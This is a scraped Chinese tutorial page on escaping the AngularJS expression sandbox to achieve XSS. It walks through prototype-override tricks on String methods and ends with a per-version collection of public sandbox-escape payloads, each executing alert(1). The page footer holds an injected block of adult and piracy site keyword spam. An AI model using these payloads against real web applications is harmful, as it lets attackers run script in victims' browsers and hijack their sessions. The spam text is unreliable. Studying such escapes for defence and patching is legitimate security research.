<span id="mktg5"></span>

<i id="mktg5"><meter id="mktg5"></meter></i>

        <label id="mktg5"><meter id="mktg5"></meter></label>
        最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
        問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
        當前位置: 首頁 - 科技 - 知識百科 - 正文

        如何使用AngularJs用戶輸入動態模板XSS攻擊

        來源:懂視網 責編:小采 時間:2020-11-27 19:41:42
        文檔

        如何使用AngularJs用戶輸入動態模板XSS攻擊

        如何使用AngularJs用戶輸入動態模板XSS攻擊:這次給大家帶來如何使用AngularJs用戶輸入動態模板XSS攻擊,使用AngularJs用戶輸入動態模板XSS攻擊的注意事項有哪些,下面就是實戰案例,一起來看一下。概述XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到
        推薦度:
        導讀如何使用AngularJs用戶輸入動態模板XSS攻擊:這次給大家帶來如何使用AngularJs用戶輸入動態模板XSS攻擊,使用AngularJs用戶輸入動態模板XSS攻擊的注意事項有哪些,下面就是實戰案例,一起來看一下。概述XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到

        這次給大家帶來如何使用AngularJs用戶輸入動態模板XSS攻擊,使用AngularJs用戶輸入動態模板XSS攻擊的注意事項有哪些,下面就是實戰案例,一起來看一下。

        概述

        XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。

        前情提要

        angularJs通過“{{}}”來作為輸出的標志,而對于雙括號里面的內容angularJs會計計算并輸出結果,我們可以在里面輸入JS代碼,并且一些語句還能得到執行,這使得我們的XSS有了可能,雖然不能直接寫函數表達式,但這并難不住我們的白帽。

        沙箱檢驗

        angularJs會對表達式進行重寫,并過濾計算輸出,比如我們輸入

        {{1 + 1}}

        在JS中會被轉換成

        "use strict";
        var fn = function(s, l, a, i) {
         return plus(1, 1);
        };
        return fn;

        return fn;這里的返回會被angualrJs執行,angularJs改寫這個方法后轉換是這樣的

        "use strict";
        var fn = function(s, l, a, i) {
         var v0, v1, v2, v3, v4 = l && ('constructor' in l),
         v5;
         if (!(v4)) {
         if (s) {
         v3 = s.constructor;
         }
         } else {
         v3 = l.constructor;
         }
         ensureSafeObject(v3, text);
         if (v3 != null) {
         v2 = ensureSafeObject(v3.constructor, text);
         } else {
         v2 = undefined;
         }
         if (v2 != null) {
         ensureSafeFunction(v2, text);
         v5 = 'alert\u00281\u0029';
         ensureSafeObject(v3, text);
         v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
         } else {
         v1 = undefined;
         }
         if (v1 != null) {
         ensureSafeFunction(v1, text);
         v0 = ensureSafeObject(v1(), text);
         } else {
         v0 = undefined;
         }
         return v0;
        };
        return fn;

        angularJs會檢查每一個輸入的參數,ensureSafeObject方法會檢驗出函數的構造方法,窗口對象,對象,或者對象的構造方法,任意的其中一項被檢查出來,表達式都不會執行.angularJs還有ensureSafeMemeberName和ensureSafeFunction來過濾掉方法原型鏈方法和檢查這個指向。

        如何逃逸

        怎么樣能逃過模板的過濾呢,可以讓我們輸入的模板被角執行,因為angularJs不支持函數輸入,我們不可以直接覆蓋本地的JS函數。但在字符串對象中找到了漏洞,fromCharCode,則charCode, charAt,由于沒有重寫這些方法,通過改變本地的js函數,我可以在angularJs調用這些方法的時候為自己開一個后門,將我改寫的來覆蓋原來的函數。

        'a'.constructor.fromCharCode=[].join;
        'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

        formCharCode方法執行的時候內部的this指向的是String對象,通過上面的可指執行語句,我們可以對fromCharCode 函數進行覆蓋,當在本頁面內執行時,比如:

        onload=function(){
        document.write(String.fromCharCode(97));//會彈出 /Backdoored/ 
        }

        還可以這樣

        'a'.constructor.prototype.charCodeAt=[].concat

        當angularJs調用charCodeAt函數時,我的代碼就被執行到angular源碼去了,比如說在這段里面有encodeEntities 方法用來對屬性和名稱做一個過濾然后輸出,

        if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
        out(' ');
        out(key);
        out('="');
        out(encodeEntities(value));//找的就是encodeEntities 
        out('"');
        }

        具體的encodeEntities代碼如下:

        function encodeEntities(value) {
        return value.
         replace(/&/g, '&').
         replace(SURROGATE_PAIR_REGEXP, function(value) {
         var hi = value.charCodeAt(0);
         var low = value.charCodeAt(1);
         return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
         }).
         replace(NON_ALPHANUMERIC_REGEXP, function(value) {
         return '' + value.charCodeAt(0) + ';';//這里發生了不好事情,我改寫了這個方法,可以植入一些惡意代碼,并且得到返回
        輸出 }). replace(/</g, '<'). replace(/>/g, '>'); }

        具體執行

        //這是輸入代碼 
        {{
         'a'.constructor.prototype.charAt=[].join;
         $eval('x=""')+''
        }}
        //這是被覆蓋影響的代碼 
        "use strict";
        var fn = function(s, l, a, i) {
         var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影響的
         if (!(v6)) {
         if (s) {
         v5 = s.x = "";//被影響的
         }
         } else {
         v5 = l.x = "";//被影響的
         }
         return v5;
        };
        fn.assign = function(s, v, l) {
         var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影響的
         v3 = v4 ? l : s;
         if (!(v4)) {
         if (s) {
         v2 = s.x = "";//被影響的
         }
         } else {
         v2 = l.x = "";//被影響的
         }
         if (v3 != null) {
         v1 = v;
         ensureSafeObject(v3.x = "", text);//被影響的
         v0 = v3.x = "" = v1;//被影響的
         }
         return v0;
        };
        return fn;
        {{
         'a'.constructor.prototype.charAt=[].join;
         $eval('x=alert(1)')+'' //注入了alert(1) 
        }}
        "use strict";
        var fn = function(s, l, a, i) {
         var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
         if (!(v6)) {
         if (s) {
         v5 = s.x = alert(1);
         }
         } else {
         v5 = l.x = alert(1);
         }
         return v5;
        };
        fn.assign = function(s, v, l) {
         var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
         v3 = v4 ? l : s;
         if (!(v4)) {
         if (s) {
         v2 = s.x = alert(1);
         }
         } else {
         v2 = l.x = alert(1);
         }
         if (v3 != null) {
         v1 = v;
         ensureSafeObject(v3.x = alert(1), text);
         v0 = v3.x = alert(1) = v1;
         }
         return v0;
        };
        return fn;

        下面附上一些代碼,可以直接結合angularJs驗證

        不同版本的實現代碼以及發現者:

        1.0.1 - 1.1.5 Mario Heiderich (Cure53)

        {{constructor.constructor('alert(1)')()}}

        1.2.0 - 1.2.1 Jan Horn (Google)

        {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

        1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)

        {{'a'[{toString:[].join,length:1,0:'proto'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

        1.2.6 - 1.2.18 Jan Horn (Google)

        {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.proto,$).value,0,'alert(1)')()}}

        1.2.19 - 1.2.23 Mathias Karlsson

        {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

        1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

        {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

        1.3.0 Gábor Molnár (Google)

        {{!ready && (ready = true) && (
        !call
        ? $$watchers[0].get(toString.constructor.prototype)
        : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
        'F = Function.prototype;' +
        'F.apply = F.a;' +
        'delete F.a;' +
        'delete F.valueOf;' +
        'alert(1);'
        ))
        );}}

        1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)

        {{
        {}[{toString:[].join,length:1,0:'proto'}].assign=[].join;
        'a'.constructor.prototype.charAt=''.valueOf; 
        $eval('x=alert(1)//'); 
        }}

        1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)

        {{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;
        'a'.constructor.prototype.charAt=[].join;
        $eval('x=alert(1)//'); }}

        1.3.19 Gareth Heyes (PortSwigger)

        {{
        'a'[{toString:false,valueOf:[].join,length:1,0:'proto'}].charAt=[].join; 
        $eval('x=alert(1)//'); 
        }}

        1.3.20 Gareth Heyes (PortSwigger)

        {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

        1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)

        {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

        1.5.0 - 1.5.8 Ian Hickey

        {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

        1.5.9 - 1.5.11 Jan Horn (Google)

        {{
         c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
         c.$apply=$apply;c.$eval=b;op=$root.$$phase;
         $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
         C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
         B=C(b,c,b);$evalAsync("
         astNode=pop();astNode.type='UnaryExpression';
         astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
         astNode.argument={type:'Identifier',name:'foo'};
         ");
         m1=B($$asyncQueue.pop().expression,null,$root);
         m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
         $eval('a(b.c)');[].push.apply=a;
        }}

        = 1.6.0 Mario Heiderich(Cure53)

        {{constructor.constructor('alert(1)')()}}

        相信看了本文案例你已經掌握了方法,更多精彩請關注Gxl網其它相關文章!

        推薦閱讀:

        如何使用JS裝飾器函數

        怎樣使用vue.js與element-ui實現菜單樹形結構

        聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

        文檔

        如何使用AngularJs用戶輸入動態模板XSS攻擊

        如何使用AngularJs用戶輸入動態模板XSS攻擊:這次給大家帶來如何使用AngularJs用戶輸入動態模板XSS攻擊,使用AngularJs用戶輸入動態模板XSS攻擊的注意事項有哪些,下面就是實戰案例,一起來看一下。概述XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到
        推薦度:
        標簽: 模板 動態模板 XSS
        • 熱門焦點

        最新推薦

        猜你喜歡

        熱門推薦

        專題
        Top
        主站蜘蛛池模板: 色偷偷亚洲女人天堂观看欧| 亚洲综合av永久无码精品一区二区 | 久久综合亚洲色HEZYO社区| 国产成人无码免费网站| 黄色片免费在线观看| 中文字幕无码播放免费| 亚洲综合精品香蕉久久网97| 久久久久久一品道精品免费看| 亚洲日本va在线视频观看| 在线免费观看h片| 亚洲高清专区日韩精品| 亚洲午夜无码久久| 国产色爽女小说免费看| 美女啪啪网站又黄又免费| 亚洲人成国产精品无码| 9久热精品免费观看视频| 免费黄色小视频网站| 国产精品亚洲片在线花蝴蝶| 亚洲精品无码专区2| 久久精品国产免费| 亚洲国产成AV人天堂无码| 在线播放免费播放av片| 免费一级毛suv好看的国产网站| 久久久精品国产亚洲成人满18免费网站 | mm1313亚洲国产精品美女| 亚洲阿v天堂在线2017免费| 国产精品久久久亚洲| 亚洲视频免费播放| 国产国拍亚洲精品福利| 亚洲熟妇无码AV不卡在线播放| 国外成人免费高清激情视频| 免费在线观看亚洲| 亚洲人成人77777网站| 麻豆国产精品免费视频| 亚洲一区二区三区在线观看精品中文| 91视频精品全国免费观看| 亚洲H在线播放在线观看H| a级毛片免费完整视频| 亚洲人6666成人观看| 亚洲国产a级视频| 久久亚洲色WWW成人欧美|